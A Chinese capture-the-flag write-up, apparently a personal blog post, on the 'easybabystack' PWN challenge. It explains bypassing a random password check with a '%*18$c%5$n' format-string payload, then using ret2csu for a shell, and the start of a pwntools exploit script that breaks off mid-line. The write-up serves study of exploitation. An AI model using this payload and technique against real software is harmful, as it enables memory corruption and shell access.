最近看了一下上次安恒五月赛没做出的几道PWN题,感觉自己水平还是不够,还要多学习
easybabystack(格式化字符串*, ret2csu)
这题有个栈溢出漏洞
但是必须输入正确的密码,否则就直接退出了
还有个格式化字符串漏洞
字符串长度为12
由于密码是/dev/urandom生成的,无法预测。
这里需要利用格式化字符串漏洞的’*'号
%*num$d从栈中取变量作为N
比如num$处的值是0x100,那么这个格式化字符串就相当于%256d
而密码位于18$
的位置,我们使用%*18$c
就可以打印出密码那么长的字符串,然后%5$n
写到输入的密码处即可
不过这里如果密码太大可能会失败,需要多试几次,数字比较小的时候容易成功
完成后用ret2csu就能getshell
from pwn import *
#r = remote("183.129.189.60", 10001)
r = process("./easybabystack")
context(arch='amd64', os='linux', log_level='debug')
DEBUG = 1
if DEBUG:
gdb.attach(r,
'''
b *0x4014A5
b *0x401512
b *0x4016C7
b *0x401726
b *0x40171D
c
''')
r.recvuntil("username: ")
#name = '%p:%p:%p:%p\n'
#name = '%6$p\n'
name = '%*18$c%5$n\n'
r.send(name)
r.recvuntil("passwd: ")
r